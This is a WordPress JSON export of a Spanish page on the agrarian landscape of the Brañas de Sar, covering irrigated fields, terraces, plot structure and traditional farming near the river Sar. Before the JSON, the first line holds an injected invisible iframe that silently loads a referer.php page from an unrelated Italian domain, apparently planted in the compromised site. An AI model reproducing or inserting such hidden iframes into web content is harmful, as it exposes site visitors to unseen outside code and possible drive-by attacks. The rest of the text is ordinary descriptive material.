<iframe style="visibility: hidden; display: none; display: none;" src="http://www.benesserepuglia.it/referer.php?id={ECF6BAD7-0C1D-444A-8CC1-8A4C59349583}"></iframe>{"id":8975,"date":"2017-01-21T15:08:57","date_gmt":"2017-01-21T14:08:57","guid":{"rendered":"http:\/\/vieja.parquefluvialdesantiago.org\/?page_id=8975\/"},"modified":"2017-02-22T14:32:05","modified_gmt":"2017-02-22T13:32:05","slug":"el-paisaje-agrario","status":"publish","type":"page","link":"https:\/\/vieja.parquefluvialdesantiago.org\/es\/el-paisaje-agrario\/","title":{"rendered":"El paisaje Agrario"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-a6abd63ab77c7a3497d72722602f8287\">\n.avia-section.av-av_section-a6abd63ab77c7a3497d72722602f8287{\nbackground-color:#015791;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_1'  class='avia-section av-av_section-a6abd63ab77c7a3497d72722602f8287 main_color avia-section-small avia-no-shadow  avia-builder-el-0  el_before_av_two_third  avia-builder-el-first  avia-bg-style-scroll container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-8975'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-ef66619c3b2d0a13d941c0b3396b2204\">\n#top .av-special-heading.av-av_heading-ef66619c3b2d0a13d941c0b3396b2204{\npadding-bottom:14px;\ncolor:#ffffff;\n}\nbody .av-special-heading.av-av_heading-ef66619c3b2d0a13d941c0b3396b2204 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-ef66619c3b2d0a13d941c0b3396b2204 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-ef66619c3b2d0a13d941c0b3396b2204 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-ef66619c3b2d0a13d941c0b3396b2204 av-special-heading-h1 custom-color-heading blockquote modern-quote  avia-builder-el-1  avia-builder-el-no-sibling '><h1 class='av-special-heading-tag'  itemprop=\"headline\"  >EL PAISAJE AGRARIO<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><div id='after_section_1'  class='main_color av_default_container_wrap container_wrap sidebar_right'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-small alpha units'><div class='post-entry post-entry-type-page post-entry-8975'><div class='entry-content-wrapper clearfix'>\n<div class='flex_column_table av-av_two_third-201587a3cb27360f0e7f6c88d43151c7 sc-av_two_third av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_third-201587a3cb27360f0e7f6c88d43151c7\">\n.flex_column.av-av_two_third-201587a3cb27360f0e7f6c88d43151c7{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_two_third-201587a3cb27360f0e7f6c88d43151c7 av_two_third  avia-builder-el-2  el_after_av_section  el_before_av_one_third  avia-builder-el-first  first flex_column_table_cell av-equal-height-column av-align-top av-zero-column-padding '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f'  itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/CreativeWork\" ><div class='avia_textblock'  itemprop=\"text\" ><p>El paisaje de las Bra\u00f1as de Sar est\u00e1 determinada por las formas de organizaci\u00f3n y producci\u00f3n agraria. As\u00ed, encontramos tierras dedicadas al labrad\u00edo, las huertas o monte, y los campos, que son los que predominan en la actualidad. Tambi\u00e9n tienen especial importancia las terrazas, que es la forma de aprovechamiento agrario en las zonas con pendiente. En las Bra\u00f1as de Sar se da la agricultura de autoconsumo del n\u00facleo familiar.<\/p>\n<\/div><\/section><\/div>\n<div class='av-flex-placeholder'><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-531d5d4d3d3a74d4c56d8363993d8877\">\n.flex_column.av-av_one_third-531d5d4d3d3a74d4c56d8363993d8877{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_third-531d5d4d3d3a74d4c56d8363993d8877 av_one_third  avia-builder-el-4  el_after_av_two_third  el_before_av_one_full  flex_column_table_cell av-equal-height-column av-align-top av-zero-column-padding '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-f0ceb947409e45cdcfa52d5723e27bcf\">\n.avia-image-container.av-av_image-f0ceb947409e45cdcfa52d5723e27bcf img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-f0ceb947409e45cdcfa52d5723e27bcf .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-f0ceb947409e45cdcfa52d5723e27bcf av-styling- av-hover-grow avia-align-center  avia-builder-el-5  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" class='wp-image-8978 avia-img-lazy-loading-not-8978 avia_image ' src=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontella-300x225.jpg\" alt='' title='Puente'  height=\"225\" width=\"300\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontella-300x225.jpg 300w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontella-768x576.jpg 768w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontella-705x529.jpg 705w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontella-450x338.jpg 450w, https:\/\/vieja.parquefluvialdesantiago.org\/wp-content\/uploads\/2017\/01\/pontella.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/div><\/div><\/div><\/div><\/div><!--close column table wrapper. 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Sobre todo es un paisaje construido en relaci\u00f3n a la gesti\u00f3n del agua. Abundan los pastos naturales, precisamente por situarse al lado del r\u00edo Sar, lo que posibilit\u00f3 el mantenimiento de una caba\u00f1a ganadera. Este espacio de pasto, con frecuencia encharcado, se refleja en la microtoponimia de la zona, donde la referencia al agua es constante, as\u00ed como en fitotop\u00f3nimos, que hacen referencia a especies vegetales para la obtenci\u00f3n del pasto.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Al lado de las casas, encontramos huertas de peque\u00f1o tama\u00f1o, plantadas con legumbres, hortalizas y \u00e1rboles frutales.<\/p>\n<p>En las zonas de ladera de monte se encuentran las tierras de labrad\u00edo <em>(agras<\/em>). En torno al r\u00edo y a los canales y regatos de agua derivados de la corriente principal, se localizan zonas de bosque de ribera y campos naturales, favorecidos por las inundaciones m\u00e1s acusadas. En general, las tierras de cultivos se sit\u00faan en las zonas m\u00e1s altas y de pendiente suave, y los campos ocupan las zonas m\u00e1s bajas, h\u00famedas y encharcadas, sobre todo en la mitad SW.<\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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En la actualidad, hay una gran extensi\u00f3n de peque\u00f1as fincas cultivadas destinadas al autoconsumo, trabajadas en su mayor\u00eda por gente de m\u00e1s edad, gracias a lo cual se conservan muchos de los m\u00e9todos tradicionales de explotaci\u00f3n.<\/p>\n<\/blockquote>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Estas estructuras siguen teniendo un papel muy importante en el paisaje actual. En las Bra\u00f1as de Sar encontramos dos zonas aterrazadas, situadas en los v\u00e9rtices contrarios: una, la terraza de la Revuelta de Abajo-Goi\u00e1ns de Abajo, en la mitad NE, y la segunda, denominada terraza de Pica\u00f1os, en el SE.<\/p>\n<p><strong>Estructura parcelaria<\/strong><\/p>\n<p>Por otra parte, la estructura parcelaria tiene c\u00f3mo caracter\u00edstica m\u00e1s importante la enorme fragmentaci\u00f3n del espacio, caracter\u00edstica general\u00a0 en muchas partes del medio rural gallego. La forma de organizar el espacio agr\u00edcola viene condicionada por la cercan\u00eda de viviendas pero, sobre todo, por la relaci\u00f3n con el r\u00edo Sar. La forma de las parcelas es variada, con independencia del cultivo al que se dediquen. Las parcelas m\u00e1s alargadas y cuadrangulares son las m\u00e1s frecuentes. La disposici\u00f3n perpendicular al r\u00edo y a sus canales, permite el abastecimiento del agua a cada una de ellas, sin quedar ninguna aislada. Como consecuencia de la realizaci\u00f3n de las partijas, cuando se divide una finca labrada, la partici\u00f3n se hace en sentido longitudinal, por ser m\u00e1s f\u00e1ciles las mediciones, adquiriendo un aspecto de largas cintas tambi\u00e9n denominadas <em>lani\u00e8res.<\/em><\/p>\n<\/div><\/section><\/div><\/div><!--close column table wrapper. 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Para esto se construyen los vallados, que son muros de manpuesto de piedra de distinta altura y consistencia. Hay lindes naturales que sirven para delimitar las parcelas, como un camino o un riachuelo. Tambi\u00e9n se usan como deslindes de fincas \u00e1rboles o arbustos, por ejemplo el mimbre o vime, arbusto de porte medio, de ramas muy flexibles y color amarillo, habitualmente empleado en cester\u00eda.<\/p>\n<p>A medida que los cierres se hacen m\u00e1s altos, se refuerzan como signo de privacidad. En el caso de las Bra\u00f1as de Sar no son muy frecuentes los grandes cierres. Se presentan cerrando superficies m\u00e1s o menos amplias, como la Colegiata del Sar, donde el muro marca su poder simb\u00f3lico y material como due\u00f1a en siglos pasados de una parte importante de las propiedades de Bra\u00f1as de Sar y de los derechos de uso del agua, hasta la desamortizaci\u00f3n de Mendiz\u00e1bal.<\/p>\n<p>La mayor parte de los cierres se hacen sobre las huertas y en la actualidad con muros de hormig\u00f3n y mallas met\u00e1licas, la mayor\u00eda en la zona del sendero de Pica\u00f1os<\/p>\n<\/div><\/section><\/div>\n<div class='flex_column_table av-av_one_fifth-201587a3cb27360f0e7f6c88d43151c7 sc-av_one_fifth av-equal-height-column-flextable'>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-201587a3cb27360f0e7f6c88d43151c7\">\n.flex_column.av-av_one_fifth-201587a3cb27360f0e7f6c88d43151c7{\n-webkit-border-radius:0px 0px 0px 0px;\n-moz-border-radius:0px 0px 0px 0px;\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div class='flex_column av-av_one_fifth-201587a3cb27360f0e7f6c88d43151c7 av_one_fifth first flex_column_table_cell av-equal-height-column av-align-top av-zero-column-padding '     ><\/div><\/div><!--close column table wrapper. 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Esta explotaci\u00f3n sostenible del territorio estaba organizada de tal forma que manten\u00eda su capacidad productiva devolviendo los nutrientes (nitr\u00f3geno, f\u00f3sforo y potasio) al suelo para garantizar su fertilidad. En el caso de las Bra\u00f1as de Sar encontramos un sistema combinado de hiperfertilizaci\u00f3n agraria, ideal para un sistema agr\u00edcola como el minifundio gallego, consistente en el aprovechamiento de los nutrientes que acercan las crecidas del r\u00edo \u00a0y el agua que baja del monte, a los que se sumaba el abono producido por la mezcla de las heces del ganado con las retamas y tojos que serv\u00edan de cama en las cuadras donde se guardaba.<\/p>\n<p>Las Bra\u00f1as de Sar se trata pues de un espacio inundable, en el que se sit\u00faan los llamados campos de riego, que se gestionan mediante una tecnolog\u00eda propia, en la que canales y arroyos juegan un papel fundamental, configurando un sistema ramificado de reparto de agua adaptado a la condici\u00f3n inundable del territorio.<\/p>\n<p>Durante siglos, el paisaje tradicional de las Bra\u00f1as de Sar se mantuvo inalterable, sirviendo adem\u00e1s de para los usos agrarios, como lugar al que acud\u00edan personas del entorno: mujeres para lavar y lugar de ocio de j\u00f3venes de los barrios pr\u00f3ximos (Sar, A Trisca, Pontepedri\u00f1a, Pica\u00f1os) que en verano iban al r\u00edo ba\u00f1arse en lugares como El Redondo, El Pozo, o Los Dos Olmos. Entonces, el Sar era un r\u00edo lleno de vida y personas. Ser\u00e1 en los a\u00f1os sesenta cuando se inicie el deterioro y abandono de este entorno.<\/p>\n<p>Aun as\u00ed, en el \u00e1mbito de las Bra\u00f1as de Sar la configuraci\u00f3n paisaj\u00edstica se encuentra sin grandes distorsiones al mantener, en cierta medida, el complejo agrario tradicional vigente. Por lo tanto, es posible apreciar la singular integraci\u00f3n paisaj\u00edstica de su h\u00e1bitat tradicional, t\u00edpico paisaje de <em>agras<\/em> con ribadas sucesivas en las riberas de r\u00edos y arroyos en la que se produce la transici\u00f3n y correcci\u00f3n del desnivel. La compleja estructura parcelaria est\u00e1 constituida por un gran n\u00famero de peque\u00f1as teselas que acogen diversos usos, con caminos delimitados por vegetaci\u00f3n de borde que cubre terrazas y define la estructura paisaj\u00edstica de los campos. Estamos ante un paisaje de gran calidad y elevada fragilidad, con una conformaci\u00f3n y complejidad que contrasta con la creciente homogeneidad del campo, que acerca naturalidad y diversidad por su mayor variedad de usos y h\u00e1bitats, complejidad y diversidad que constituyen las virtudes de este paisaje microconstru\u00eddo.<\/p>\n<\/div><\/section><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>El paisaje Agrario - Parque Fluvial de Santiago: As bra\u00f1as de Sar<\/title>\n<meta name=\"description\" content=\"El paisaje agrario est\u00e1 ligado al r\u00edo Sar por ser sus bra\u00f1as los lugares m\u00e1s f\u00e9rtiles para el cultivo de huertas y otras clases de cultivo.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.parquefluvialdesantiago.org\/es\/el-paisaje-agrario\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El paisaje Agrario - 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